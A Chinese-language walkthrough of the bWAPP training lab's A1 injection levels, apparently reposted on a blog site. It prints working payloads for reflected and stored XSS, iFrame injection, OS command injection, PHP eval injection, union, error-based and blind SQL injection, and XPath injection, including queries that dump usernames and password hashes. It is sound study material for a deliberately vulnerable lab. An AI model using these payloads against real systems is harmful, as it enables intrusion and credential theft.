「BWAPP靶场通关记录(1)」A1注入漏洞

BWAPP通关秘籍(1):A1 injection

  • 1.HTML Injection - Reflected (GET)
    • 1.1Low
    • 1.2Medium
    • 1.3High
  • 2.HTML Injection - Reflected (POST)
    • 2.1Low
    • 2.2Medium
    • 2.3High
  • 3.HTML Injection - Reflected (URL)
    • 3.1Low
    • 3.2/3.3Medium/HIgh
  • 4.HTML Injection - Stored (Blog)
    • 4.1Low
    • 4.2/4.3Medium/High
  • 5.iFrame Injection
    • 5.1Low
    • 5.2Medium
    • 5.3High
  • 6. LDAP Injection(未开化)
  • 7.Mail Header Injection (未开化)
  • 8.OS Command Injection
    • 8.1Low
    • 8.2Medium
    • 8.3High
  • 9.OS Command Injection - Blind
    • 9.1Low
    • 9.2Medium
    • 9.3High
  • 10.PHP Code Injection
    • 10.1Low
    • 10.2Medium&&High
  • 11.Server-Side Includes (SSI) Injection(未开化)
  • 12.SQL Injection (GET/Search)
    • 12.1Low(无过滤)
    • 12.2Medium(部分过滤)
    • 12.3 High(严格过滤)
  • 13.SQL Injection (GET/Select)
    • 13.1Low
    • 13.2Medium
    • 13.3High
  • 14.SQL Injection (POST/Search)
  • 15.SQL Injection (POST/Select)
  • 16.SQL Injection (AJAX/JSON/jQuery)
  • 17.SQL Injection (CAPTCHA)
  • 18.SQL Injection (Login Form/Hero)
    • 18.1Low
    • 18.2Medium
    • 18.3High
  • 19.SQL Injection (Login Form/User)
    • 19.1Low
  • 20.Drupal SQL Injection (Drupageddon)
  • 21.SQL Injection - Stored (Blog)
    • 21.1Low
    • 21.2Medium
    • 21.3High
  • 22.SQL Injection - Stored (User-Agent)
  • 22.1Low
    • 22.2Medium
    • 22.3High
  • 23.SQL Injection - Stored (XML)
    • 23.1Low
    • 23.2Medium
    • 23.3High
  • 24.SQL Injection - Blind - Boolean-Based
    • 24.1Low
    • 24.2Medium
    • 24.3High
  • 25.SQL Injection - Blind - Time-Based
    • 25.1Low
    • 25.2Medium
    • 25.3High
  • 26.XML/XPath Injection (Login Form)
    • 26.1Low
    • 26.2&&26.3:Medium和High
  • 27.XML/XPath Injection (Search)
    • 27.1Low
    • 27.2&&27.3:Medium和High
    • 免责声明:

1.HTML Injection - Reflected (GET)

1.1Low

低级别未对用户输入进行任何过滤,直接回显到页面中
HTML标签会被浏览器解析执行
Payload示例:

  <script>alert('xss')</script>

在这里插入图片描述

1.2Medium

测试思路: 中级过滤了部分特殊字符(如<、>被转换为实体<、>
但服务器会先对输入进行URL解码。可通过编码绕过过滤。

Payload示例:
URL编码绕过:
原始Payload<script>alert(1)</script>
编码:%3Cscript%3Ealert(1)%3C/script%3E
服务器解码后恢复为有效HTML标签
在这里插入图片描述

1.3High

这里高级别关卡使用htmlspecialchars()函数
&, ", ', <, >转换为HTML实体,常规标签注入失效
其彻底转义了关键词
故无漏洞可利用

2.HTML Injection - Reflected (POST)

2.1Low

漏洞成因:
后端未对用户输入的POST参数(如firstnamelastname)进行任何过滤或转义
直接输出到页面。

测试思路:直接注入HTML标签或JavaScript代码
验证是否会被浏览器解析执行。

Payload示例:

<script>alert("XSS");</script>

在这里插入图片描述

2.2Medium

漏洞成因:
后端对尖括号(<、>)进行转义(转换为HTML实体<>
但未完全覆盖所有注入场景。

测试思路:
尝试通过URL编码绕过

Payload示例:

  • URL编码绕过:%3Cscript%3Ealert(1)%3C/script%3E
    在这里插入图片描述

2.3High

这里高级别关卡使用htmlspecialchars()函数
&, ", ', <, >转换为HTML实体,常规标签注入失效
其彻底转义了关键词
故无漏洞可利用

3.HTML Injection - Reflected (URL)

3.1Low

测试思路:
低级别未对用户输入进行任何过滤或转义
攻击者可直接通过BP抓包构造URL参数注入HTML代码
页面会直接解析并执行注入的标签。

Payload示例:

?a=<script>alert(1)</script>

在这里插入图片描述
在这里插入图片描述

3.2/3.3Medium/HIgh

这两关查看源码得知当执行URL
网站会进行XSS检测
故无漏洞可利用

ase
$url = "http://" .$ SERVER["HTTP HOST"].xss check 3($ SERVER["REQUEST URI"]);
break;

4.HTML Injection - Stored (Blog)

4.1Low

测试思路:
无任何输入过滤或转义
可直接注入原始HTML/JavaScript代码。

Payload示例:

<script>alert(1)</script>

在这里插入图片描述

4.2/4.3Medium/High

这两关查看源码得知当提交数据时
网站会进行XSSSqli检测

case "1":
$data= sqli check 3($link, $data);
// $data= xss check 4($data);
break;
case "2":
$data= sqli check 3($link, $data);
// $data= xss check 3($data);
break;

故无漏洞可利用

5.iFrame Injection

测试思路:
该关卡通过ParamUrlParamWidthParamHeight三个参数控制iframe属性。核心漏洞点在于未过滤或过滤不严的ParamUrl参数
攻击者可注入恶意URL或脚本

5.1Low

本关无输入过滤
直接通过修改ParamUrl参数注入恶意内容
Payload示例
1.重定向到其他页面hh

?ParamUrl=http://www.4399.com/phishing.html&ParamWidth=250&ParamHeight=250

在这里插入图片描述
2.执行JavaScript代码
利用javascript:协议触发弹窗或窃取Cookie
在这里插入图片描述

5.2Medium

本关ParamUrl参数使用addslashes()函数转义引用类字符',",\
故不能从此处注入
需通过ParamWidthParamHeight注入
Payload示例

?ParamUrl=robots.txt&ParamWidth=250"></iframe><script>alert(/250/)</script>&ParamHeight=250	

在这里插入图片描述

5.3High

这里高级别关卡对所有参数使用htmlspecialchars()函数
&, ", ', <, >转换为HTML实体,常规注入失效
其彻底转义了关键词
故无漏洞可利用

6. LDAP Injection(未开化)

LDAP(全称Lightweight Directory Access Protocol,轻量目录访问协议)可以理解为一种“网络电话簿”或“信息索引库”,专门用来集中存储和快速查找各种结构化信息。它的核心特点是:

结构像树状电话簿
信息以树形结构组织
比如根节点是公司名,往下分部门(OU),再具体到员工(CN)。每个条目都有唯一“姓名”(DN)和“昵称”(RDN),就像文件路径和文件名一样。

简单来说,LDAP就是一个高效、安全、跨平台的信息“导航站”,让企业或组织把零散的信息集中管理,用起来又快又方便。

7.Mail Header Injection (未开化)

Mail Header Injection(邮件头注入)是一种安全漏洞,简单来说就是攻击者通过篡改邮件头部信息,让服务器发送他们想发的邮件。举个生活中的例子:就像你写了一封信想寄给朋友,但邮局工作人员却偷偷在信封上加了其他收件人地址,导致你的信被同时发给陌生人。

举个真实场景:假设你在一个网站留言“你好,这是我的邮箱test@example.com,但攻击者输入的是“test@example.com\nBCC:spam@attacker.com”,服务器收到后会理解为两个头部信息,导致垃圾邮件被群发。

8.OS Command Injection

漏洞产生的原因是:应用程序未对用户输入进行过滤,直接将用户控制的参数拼接到了系统命令(如shell_exec()nslookup)中执行。例如,用户输入www.baidu.com & whoami时,&符号会分隔命令,导致攻击者可以注入任意系统命令。

8.1Low

  • 特征:无任何过滤,用户输入直接拼接进命令。
  • 测试思路:通过连接符(&&&;)注入多条命令。
  • Payload示例
    www.baidu.com & whoami(原理:DNS查询之后执行用户身份判断命令)
    在这里插入图片描述

8.2Medium


  • 特征:过滤了&&&;,但未过滤管道符|或换行符\n
  • 测试思路:尝试绕过过滤符,或利用未被过滤的符号。
  • Payload示例
    • www.baidu.com | pwd:通过管道符显示当前目录。
      在这里插入图片描述

8.3High

  • 特征:使用escapeshellcmd()函数转义特殊符号,完全过滤连接符。
  • :实际测试中,High级别完全防御成功,无法直接注入。

9.OS Command Injection - Blind

盲注(Blind)的特殊性在于:服务器不会返回命令执行的结果,攻击者只能通过其他方式判断命令是否成功执行(比如时间延迟)。

9.1Low

  • 测试思路:直接在输入中拼接命令,观察反应时间延迟,看是否能执行。
  • Payload
    127.0.0.1 & sleep 5
    在这里插入图片描述

9.2Medium

  • 测试思路:用管道符|绕过&过滤,观察是否执行延迟函数
  • Payload
    127.0.0.1 | sleep 5
    在这里插入图片描述

9.3High

  • 漏洞特征:使用escapeshellcmd()函数转义特殊符号,完全过滤连接符。
  • :实际测试中,High级别完全防御成功,无法直接注入。

10.PHP Code Injection

该关卡的核心漏洞源于 PHP 的 eval() 函数未对用户输入进行过滤。当用户通过 message 参数传递的字符串直接被
eval() 执行时,攻击者可注入任意 PHP 代码,从而控制服务器执行恶意操作。

10.1Low

测试思路:这里后端未对输入进行任何过滤,直接拼接代码执行。
Payload 示例

  • 构造URLpayload查看 PHP 配置信息
    ?message=phpinfo();
    

在这里插入图片描述

  • 执行系统命令
    ?message=shell_exec('ls');
    
    (通过 ls 查看目录文件)

在这里插入图片描述


10.2Medium&&High

后端使用 htmlspecialchars() 函数处理输入,将 <, >, & 等字符转义为 HTML 实体(如 < 变为 &lt;),因此无法绕过

11.Server-Side Includes (SSI) Injection(未开化)

漏洞原理
Server-Side Includes (SSI) 注入漏洞允许攻击者通过在HTML文件中注入SSI指令来执行任意代码或命令。SSI是一种简单的服务器端脚本语言,主要用于动态生成网页内容。当用户输入的数据被直接嵌入到页面中,并且服务器开启了SSI支持时,就可能导致SSI注入漏洞。

这里靶场默认Apache不开启SSI,故无法测试

12.SQL Injection (GET/Search)

漏洞原理
该关卡存在典型的 搜索型SQL注入漏洞
用户输入的搜索关键词未经过滤直接拼接到SQL查询语句的WHERE子句中,导致攻击者可通过构造恶意输入篡改查询逻辑。例如,原查询可能为:

SELECT * FROM movies WHERE title LIKE '%用户输入%'

若用户输入' OR 1=1 -- ,则查询变为:

SELECT * FROM movies WHERE title LIKE '%' OR 1=1 -- %'  # 1=1恒真,返回所有数据

通过此类注入可绕过正常查询逻辑,泄露数据或执行危险操作。


12.1Low(无过滤)

测试思路:这里使用单引号判断存在注入后,直接注入闭合原查询,利用联合查询(UNION)获取数据库信息。
在这里插入图片描述
ORDER BY确定字段数

a' order by 8#

这里遍历到8出现报错
故判断这里有7个字段
在这里插入图片描述
判断回显位

a' UNION SELECT 1,2,3,4,5,6,7#

在这里插入图片描述
故回显位为2,3,4,5
Payload示例

a' UNION SELECT 1,version(),database(),user(),1,2,3#

在1,2,3字段处通过联合查询获取当前数据库名称、用户和版本信息。
在这里插入图片描述

a' UNION SELECT 1,login,password,4,5,6,7 FROM users#   -- 获取账号密码(密码需MD5解密)

在这里插入图片描述

12.2Medium(部分过滤)

防御状态:本关使用了addslashes函数转义单引号('\')。
测试:这里利用宽字节注入尝试让单引号逃逸失败,待解决

12.3 High(严格过滤)

防御状态:使用mysql_real_escape_string和参数化查询,有效防御常规注入,无漏洞可利用

13.SQL Injection (GET/Select)

漏洞原理 该关卡模拟通过URL参数(GET请求)传递用户输入的场景,例如电影名称选择框。后端未对用户输入进行过滤,直接将参数拼接到SQL查询中


13.1Low

这里在URL参数后添加1 and 1=1 和 1 and 1=2
发现and 1=1有回显and 1=2无回显,此处为数字型注入
在这里插入图片描述
判断字段数
这里构造1 order by 71 order by 8
发现order by 7有回显,order by 8无回显
在这里插入图片描述

故字段数为7
判断回显位
构造1 and 1=2 UNION SELECT 1,2,3,4,5,6,7
得到回显位2 3 4 5
在这里插入图片描述
爆库名等敏感信息
构造1 and 1 =2 UNION SELECT 1,version(),database(),user(),1,2,3
在这里插入图片描述
获取账号密码
构造1 and 1 =2 UNION SELECT 1,login,password,4,5,6,7 FROM users(密码需MD5解密)
在这里插入图片描述

13.2Medium

这里使用了addslashes函数转义单引号
但是payload用不上单引号
使用Low级别的Payload即可

13.3High

防御状态:使用mysql_real_escape_string和参数化查询,有效防御常规注入,无漏洞可利用

14.SQL Injection (POST/Search)

Get关卡思路和payload一致

15.SQL Injection (POST/Select)

Get关卡思路和payload一致

16.SQL Injection (AJAX/JSON/jQuery)

1. AJAX的基本概念

  • AJAX(异步JavaScript和XML):一种让网页无需刷新即可与服务器交换数据的技术。例如,搜索框输入时实时显示匹配结果,就是通过AJAX实现的。它的核心是浏览器通过XMLHttpRequest对象发送请求,并异步处理返回的数据。

2. jQuery的作用

  • 简化AJAX操作:jQuery库提供$.ajax()$.getJSON()等方法,能快速实现AJAX请求。例如,该关卡中前端可能通过$.getJSON()将用户输入的关键字发送到后端接口。
  • 动态渲染数据:后端返回的JSON数据会被jQuery解析并动态插入网页(如更新表格内容),用户看不到页面刷新,但数据已变化。

这关用的是jQuerygetJSON方法,即把用户输入的参数扔到sqli_10-2.php
测试思路和payloadSQL Injection (GET/Search)关卡
在这里插入图片描述
而基于AJAX的功能
在输入框输入payload的同时页面实时回显数据
无需按回车
在这里插入图片描述


17.SQL Injection (CAPTCHA)

这一关和前面的区别就是多了一道验证码罢了
输入验证码后直接注入,思路payloadSQL Injection (GET/Search)一样。

18.SQL Injection (Login Form/Hero)

漏洞原理
该关卡模拟登录表单的SQL注入漏洞,核心问题在于未对用户输入进行有效过滤,导致攻击者可以通过构造恶意输入修改SQL查询逻辑。例如,后台查询语句是:

SELECT * FROM users WHERE username='用户输入' AND password='用户输入'

攻击者通过在用户名或密码字段注入' OR '1'='1' -- 等语句,使查询条件永真,绕过登录验证。

18.1Low

防护措施:无任何输入过滤。
攻击方法

  • 直接注入永真条件
    输入用户名:admin' OR '1'='1' -- ,密码随意。
    后台查询变为:
    SELECT * FROM users WHERE username='admin' OR '1'='1' -- ' AND password='任意值'
    

绕过登录
在这里插入图片描述

  • 联合查询获取数据
    这里还可通过UNION SELECT爆数据库名、表名等,例如:
    admin' and 1 =2 UNION SELECT 1,database(),3,4 -- 
    
    获取当前数据库名。在这里插入图片描述

18.2Medium

本关使用addslashes()进行转义单引号,尝试宽字节注入绕过失败

18.3High

high级别使用mysql_real_escape_string()函数将特殊字符转义,无法绕过

19.SQL Injection (Login Form/User)

19.1Low

本关是基于用户表的注入
这里尝试使用万能用户名登录失败
查看源码得知本关需要先进行用户名验证
用户名存在后才进行密码验证

// 密码处理
$password = password_hash(sqli($_POST['password']), PASSWORD_DEFAULT);// 数据库查询(PDO预处理)
$stmt = $pdo->prepare("SELECT login, password FROM users WHERE login = :login");
$stmt->execute([':login' => $login]);
$user = $stmt->fetch(PDO::FETCH_ASSOC);// 用户认证
if ($user && password_verify($password, $user['password'])) {// 认证成功逻辑
} else {// 认证失败处理
}

故要想通过输入框回显内容
就得先知道用户名bee
通过用户名验证

紧接着进行密码验证
根据后台查询数据库
得知联合注入字段3对应输入密码password
又因为这里password字段经过了哈希加密后存储到数据库中
故联合注入中payload的字段3需要更改成3的哈希值
输入密码则填写3
使二者MD5值相匹配通过密码验证
最后两者通过验证后才能回显内容

用户构造

' union select 1,2,"77de68daecd823babbb58edb1c8e14d7106e83bb",4,5,6,7,8,9 #

输入密码=3
爆出回显位
在这里插入图片描述
则爆库可以构造

 ' union select 1,database(),"77de68daecd823babbb58edb1c8e14d7106e83bb",4,user(),6,7,8,9 #

在这里插入图片描述
这里Medium关卡使用addslashes()函数进行单引号过滤
High关卡使用mysql_real_escape_string(函数进行防御
故无漏洞利用空间

20.Drupal SQL Injection (Drupageddon)

Drupal 7.x SQL注入漏洞原理
该漏洞(CVE-2014-3704)本质是Drupal数据库抽象层对数组参数未正确过滤,导致攻击者可通过构造特殊数组参数执行恶意SQL语句。例如:通过expanded arguments特性传递恶意参数。

由于这里需要使用bee-box平台
故不做演示

21.SQL Injection - Stored (Blog)

这一关漏洞原理类同存储型XSS
漏洞点位于博客内容提交功能中。
应用程序未对用户输入(如博客标题、内容)进行有效过滤,直接将用户输入拼接至INSERT语句中。

先在输入框打一个'
判断此处存在注入
在这里插入图片描述
观察报错内容可以猜测后台涉及的sql查询语句为

INSERT INTO blog_posts (title, content, author) VALUES ('$title', '$content', '$author');

尝试构造闭合语句成功

test','hack')#

在这里插入图片描述

21.1Low

防护措施:无过滤,直接拼接SQL语句。
Payload示例

test',(select database())) #

作用:在插入博客内容时,新增一条记录在标题处泄露数据库名

还可以使用报错注入
构造如下

'or updatexml(1,oncat(0x7e,(select database()),0x7e),1)or'

得到库名
在这里插入图片描述


21.2Medium

防护措施:这关通过转义单引号(使用addslashes()函数)进行防护,无绕过手段


21.3High

防护措施:这关通过mysql_real_escape_string()预编译手段进行防护,无绕过手段

22.SQL Injection - Stored (User-Agent)

该关卡的核心漏洞是:未对用户的 User-Agent 进行有效过滤,导致攻击者可通过构造恶意 User-Agent
触发存储型 SQL 注入。后端将 User-Agent 直接拼接到 SQL 语句中,未使用预编译或严格的转义机制。

后端 SQL 语句

INSERT INTO visitors (date, user_agent, ip_address) 
VALUES (now(), '[USER_AGENT]', '[IP_ADDRESS]')

22.1Low

测试思路:抓包后直接注入恶意 User-Agent,利用单引号闭合和注释符截断后续 SQL。

  • Payload
 User-Agent: test', (select database()))#
  • 解释:闭合原有单引号,插入子查询 select database(),并用 # 注释后续语句。
  • 效果:数据库会执行 INSERT 语句,同时将当前数据库信息存储到 user_agent 字段。最终在页面回显数据库名
    在这里插入图片描述在这里插入图片描述

22.2Medium

防护措施:这关通过转义单引号(使用addslashes()函数)进行防护,无绕过手段


22.3High

防护措施:这关通过mysql_real_escape_string()预编译手段进行防护,无绕过手段


23.SQL Injection - Stored (XML)

漏洞原理
漏洞源于后端未对用户输入的XML数据做充分过滤,直接将XML节点内容拼接到SQL语句中。


XML前置知识
XML结构:XML通过标签定义数据,如 <reset><login>bee</login></reset>login 节点内容会被后端解析。

后端的sql语句
由于页面出现Reset重置
猜测后端sql的作用是用于更新操作
故得到

UPDATE users SET secret = '$secret' WHERE login = '$login';

点击按钮后抓包
先在<login>标签处打一个bee'
报错则判断存在注入
在这里插入图片描述

23.1Low

  • 测试思路:点击抓包,通过extractvalue()函数报错注入得到库名
  • Payload
    
    
bee' or extractvalue(1, concat(0x7e, (select database()), 0x7e)) or '1'='1

效果:直接泄露当前数据库名。
在这里插入图片描述

23.2Medium

防护措施:这关通过转义单引号(使用addslashes()函数)进行防护,无绕过手段


23.3High

防护措施:这关通过mysql_real_escape_string()预编译手段进行防护,无绕过手段

24.SQL Injection - Blind - Boolean-Based

这一关查询结果只会返回存在和不存在两种结果
在这里插入图片描述
在这里插入图片描述
故判断这里如果存在注入的话需要进行布尔盲注
先打一个单引号
报错则判断注入
因为是字符串
所以此处为字符型注入
在这里插入图片描述

24.1Low

判断数据库长度

iron man' and length(database())=5#

长度为5正常
在这里插入图片描述

iron man' and length(database())=6#

长度为6错误

在这里插入图片描述
故数据库长度为5
判断库名
以数据库首字母为例

iron man' AND SUBSTRING(DATABASE(),1,1)='b' #

首字母为b页面正常
在这里插入图片描述

为其他字母时报错
在这里插入图片描述

判断库名第一个字母为b
以此类推得到库名为bWAPP

24.2Medium

防护措施:这级通过转义单引号(使用addslashes()函数)进行防护,无绕过手段


24.3High

防护措施:这级通过mysql_real_escape_string()预编译手段进行防护,无绕过手段

25.SQL Injection - Blind - Time-Based

这一关连查询结果是True还是False都不回显在页面上了
而是说通过email通知
在这里插入图片描述
则这里尝试使用时间盲注

25.1Low

构造语句

Iron Man' and sleep(3) #

这里页面延迟3s回显
判断存在延时注入
在这里插入图片描述
爆库
构造iron man'and if(length((select database()))>4,sleep(5),1)#
页面延时回显
当长度大于5时正常回显
故数据库长度为5
构造iron man' and if(SUBSTRING(DATABASE(),1,1)='b',sleep(5),1)#
页面延时回显
得出数据库名首字母为b
以此类推出库名bWAPP

25.2Medium

防护措施:这级通过转义单引号(使用addslashes()函数)进行防护,无绕过手段


25.3High

防护措施:这级通过mysql_real_escape_string()预编译手段进行防护,无绕过手段

26.XML/XPath Injection (Login Form)

漏洞原理: 该关卡利用XPath注入漏洞,其原理与SQL注入类似。应用程序通过用户输入的用户名和密码动态拼接XPath查询语句,若未对输入做过滤,攻击者可通过闭合引号并插入恶意逻辑(如永真条件
1=1)绕过身份验证。例如,原始查询可能为 /heroes/hero[login='$user' and password='$pass'],攻击者输入 hack' or 1=1 or ''=' 会导致查询逻辑变为始终为真,从而非法登录。


XML/XPath前置知识

  1. XML:用于存储结构化数据,标签可自定义,常见于配置文件和数据传输。
  2. XPath:用于在XML文档中定位节点的查询语言,语法如 /root/node[@attr='value'],支持逻辑运算符(and/or)和函数(如 contains())。

在用户名输入框打一个'
发现报错xml判断存在注入在这里插入图片描述

26.1Low

  • 思路:直接注入永真条件。
  • Payload
    ' or 1=1 or ''='  # 用户名或密码字段输入,闭合引号并添加永真逻辑,直接绕过登录
    
    在这里插入图片描述

26.2&&26.3:Medium和High

查看后台代码可知这里对XPath的语法进行了严格的过滤
故不存在漏洞利用空间

function xmli_check_1($data) {// 替换危险字符:()='[]:,*/ 以及空白符$input = str_replace("(", "", $data);$input = str_replace(")", "", $input);$input = str_replace("=", "", $input);$input = str_replace("'", "", $input);$input = str_replace("[", "", $input);$input = str_replace("]", "", $input);$input = str_replace(":", "", $input);$input = str_replace(",", "", $input);$input = str_replace("*", "", $input);$input = str_replace("/", "", $input);$input = preg_replace('/\s+/', '', $input); // 移除所有空白符return $input;
}

27.XML/XPath Injection (Search)

漏洞原理
漏洞源于未对用户输入进行过滤,直接将用户控制的参数(如genre)拼接到XPath查询语句中。攻击者通过闭合原始查询的单引号并注入恶意XPath语法,可绕过预期查询逻辑,访问或泄露XML文档中的敏感数据(如密码字段)。例如,原始查询为:

//hero[contains(genre, '$genre')]/movie  

若用户输入horror')]/password | hack[contains(a,',最终查询变为:

//hero[contains(genre, 'horror')]/password | hack[contains(a,'')]/movie  

这会联合返回password字段和movie字段内容,导致数据泄露。


这里在URLgenre参数处打一个
在这里插入图片描述

发现报错
判断存在Xpath注入
在这里插入图片描述

27.1Low

特点:无任何输入过滤,直接拼接参数。
测试步骤
Genre参数构造永真条件泄露数据。
Payload示例

action')] | //hero/password | hack[contains(a,'

效果:联合查询返回所有password字段。在这里插入图片描述


27.2&&27.3:Medium和High

查看后台代码可知这里对XPath的语法进行了严格的过滤
故不存在漏洞利用空间

function xmli_check_1($data) {// 替换危险字符:()='[]:,*/ 以及空白符$input = str_replace("(", "", $data);$input = str_replace(")", "", $input);$input = str_replace("=", "", $input);$input = str_replace("'", "", $input);$input = str_replace("[", "", $input);$input = str_replace("]", "", $input);$input = str_replace(":", "", $input);$input = str_replace(",", "", $input);$input = str_replace("*", "", $input);$input = str_replace("/", "", $input);$input = preg_replace('/\s+/', '', $input); // 移除所有空白符return $input;
}

免责声明:

本文章内容仅为个人见解与实践记录,旨在分享网络安全知识。文中观点、工具、技巧等,均不构成专业建议。读者需自行判断其适用性,并对任何因采纳本文章内容而引发的行为及结果承担全部责任。作者不对任何形式的损失负责。请务必谨慎操作,必要时咨询专业人士。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/34523.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

机器学习算法实战——敏感词检测(主页有源码)

✨个人主页欢迎您的访问 ✨期待您的三连 ✨ ✨个人主页欢迎您的访问 ✨期待您的三连 ✨ ✨个人主页欢迎您的访问 ✨期待您的三连✨ ​ ​​​ 1. 引言 随着互联网的快速发展&#xff0c;信息传播的速度和范围达到了前所未有的高度。然而&#xff0c;网络空间中也充斥着大量的…

Ollama+DeepSeek+NatCross内网穿透本地部署外网访问教程

目录 一、Ollama 简介 二、下载Ollama 三、下载并运行 DeepSeek 模型 四、运行 DeepSeek 模型 五、NatCross免费内网穿透 六、配置 ChatBox 连接 Ollama 七、外网使用ChatBox体验 一、Ollama 简介 Ollama 是一个开源的本地大模型部署工具&#xff0c;旨在让用户能够在个…

联想台式电脑启动项没有U盘

开机按F12&#xff0c;进入启动设备菜单&#xff0c;发现这里没有识别到插在主机的U盘&#xff1f; 解决方法 1、选上图的Enter Setup或者开机按F2&#xff0c;进入BIOS设置 选择Startup -> Primary Boot Sequence 2、选中“Excludeed from boot order”中U盘所在的一行 …

开源链动 2+1 模式 AI 智能名片 S2B2C 商城小程序助力社群发展中榜样影响力的提升

摘要&#xff1a;本文深入剖析了社群发展进程中榜样所承载的关键影响力&#xff0c;并对开源链动 21 模式 AI 智能名片 S2B2C 商城小程序在增强这一影响力方面所具备的潜力进行了全面探讨。通过对不同类型社群&#xff0c;如罗辑思维社群和 007 不出局社群中灵魂人物或意见领袖…

《交互式线性代数》

《交互式线性代数》 *Interactive Linear Algebra*由Dan Margalit和Joseph Rabinoff编写&#xff0c;是一本聚焦线性代数的教材。本书旨在教授线性代数的核心概念、方法及其应用&#xff0c;通过代数与几何相结合的方式&#xff0c;帮助读者深入理解线性代数的本质&#xff0c…

CSS -属性值的计算过程

目录 一、抛出两个问题1.如果我们学过优先级关系&#xff0c;那么请思考如下样式为何会生效2.如果我们学习过继承&#xff0c;那么可以知道color是可以被子元素继承使用的&#xff0c;那么请思考下述情景为何不生效 二、属性值计算过程1.确定声明值2.层叠冲突3.使用继承4.使用默…

生活中的可靠性小案例11:窗户把手断裂

窗户把手又断了&#xff0c;之前也断过一次&#xff0c;使用次数并没有特别多。上方的图是正常的把手状态&#xff0c;断的形状如下方图所示。 这种悬臂梁结构&#xff0c;没有一个良好的圆角过渡&#xff0c;导致应力集中。窗户的开关&#xff0c;对应的是把手的推拉&#xff…

怎么解决在Mac上每次打开文件夹都会弹出一个新窗口的问题

在Mac上每次打开文件夹都会弹出一个新窗口的问题&#xff0c;可以通过以下方法解决‌ ‌调整Finder设置‌&#xff1a; 打开Finder&#xff0c;点击“Finder”菜单&#xff0c;选择“偏好设置”。在偏好设置中&#xff0c;选择“通用”标签。取消勾选“在标签页中打开文件夹”或…

HOT100——栈篇Leetcode739. 每日温度

文章目录 题目&#xff1a;Leetcode160. 相交链表原题链接思路代码 题目&#xff1a;Leetcode160. 相交链表 给定一个整数数组 temperatures &#xff0c;表示每天的温度&#xff0c;返回一个数组 answer &#xff0c;其中 answer[i] 是指对于第 i 天&#xff0c;下一个更高温…

C++ 返回值优化(Return Value Optimization)

Intro 返回值优化(Return Value Optimization, RVO)是 C中的一种编译器优化技术, 它允许编译器在某些情况下省略临时对象的创建和复制/移动操作, 从而提高程序性能. RVO 主要应用于函数返回值的场景. 两种形式的 RVO 假定我们有这样一个类: class MyClass {std::string nam…

C++内存管理(复习)

1.动态申请多个某类型的空间并初始化 //动态申请10个int类型的空间并初始化为0到9int* p new int[10]{0, 1, 2, 3, 4, 5, 6, 7, 8, 9}; delete[] p; //销毁 2.new/delete new:开空间构造函数 delete:析构函数释放空间 new和delete是用户进行动态内存申请和释放的操作符&#…

计算机视觉——深入理解卷积神经网络与使用卷积神经网络创建图像分类算法

引言 卷积神经网络&#xff08;Convolutional Neural Networks&#xff0c;简称 CNNs&#xff09;是一种深度学习架构&#xff0c;专门用于处理具有网格结构的数据&#xff0c;如图像、视频等。它们在计算机视觉领域取得了巨大成功&#xff0c;成为图像分类、目标检测、图像分…

Java数据结构第二十三期:Map与Set的高效应用之道(二)

专栏&#xff1a;Java数据结构秘籍 个人主页&#xff1a;手握风云 目录 一、哈希表 1.1. 概念 1.2. 冲突 1.3. 避免冲突 1.4. 解决冲突 1.5. 实现 二、OJ练习 2.1. 只出现一次的数字 2.2. 随机链表的复制 2.3. 宝石与石头 一、哈希表 1.1. 概念 顺序结构以及平衡树中…

OSPF | LSDB 链路状态数据库 / SPF 算法 / 实验

注&#xff1a;本文为 “OSPF | LSDB / SPF ” 相关文章合辑。 LSDB 和 SPF 算法 潇湘浪子的蹋马骨汤 发布 2019-02-15 23:58:46 1. 链路状态数据库 (LSDB) 链路状态协议除了执行洪泛扩散链路状态通告&#xff08;LSA&#xff09;以及发现邻居等任务外&#xff0c;其第三个任…

Android Framework 之了解系统启动流程二

Android Framework 源码阅读系列篇章有&#xff1a; 系统启动流程一之init进程和zygote进程启动分析系统启动流程二之SystemServer进程启动分析 1. SystemServer 进程启动分析 在 系统启动流程一之init进程和zygote进程启动分析 中分析 zygote 进程时&#xff0c;我们知道了…

阿里云企业邮箱出现故障怎么处理?

阿里云企业邮箱出现故障怎么处理&#xff1f; 以下是处理阿里云企业邮箱故障的详细分步指南&#xff0c;帮助您快速定位问题并恢复邮箱正常使用&#xff1a; 一、初步排查&#xff1a;确认故障范围与现象 确定影响范围 全体用户无法使用 → 可能为阿里云服务端故障或网络中断。…

Python----数据分析(Pandas二:一维数组Series,Series的创建,Series的属性,Series中元素的索引与访问)

一、一维数组Series Series&#xff1a;一维数组,与Numpy中的一维array类似。它是一种类似于一维数组的对象&#xff0c;是由一组数据(各种 NumPy 数据类型)以及一组与之相关的数据标签(即索引)组成。 仅由一组数据也可产生简单的 Series 对象&#xff0c;用值列表生成 Series …

小程序配置

注册小程序账号和安装开发工具 参考文档&#xff1a;注册小程序账号和安装开发工具https://blog.csdn.net/aystl_gss/article/details/127878658 HBuilder新建项目 填写项目名称&#xff0c;选择UNI-APP&#xff0c;修改路径&#xff0c;点击创建 manifest.json 配置 需要分别…

前端UI编程基础知识:基础三要素(结构→表现→行为)

以下是重新梳理的前端UI编程基础知识体系&#xff0c;结合最新技术趋势与实战要点&#xff0c;以更适合快速掌握的逻辑结构呈现&#xff1a; 一、基础三要素&#xff08;结构→表现→行为&#xff09; 1. HTML5 核心能力 • 语义化标签&#xff1a;<header>, <nav&g…

【eNSP实战】将路由器配置为DHCP服务器

拓图 要求&#xff1a; 为 office100 和 office200 分别配置地址池 AR1接口配置 interface GigabitEthernet0/0/0ip address 192.168.100.1 255.255.255.0 # interface GigabitEthernet0/0/1ip address 192.168.200.1 255.255.255.0 AR1路由器上创建office100地址池 [AR1…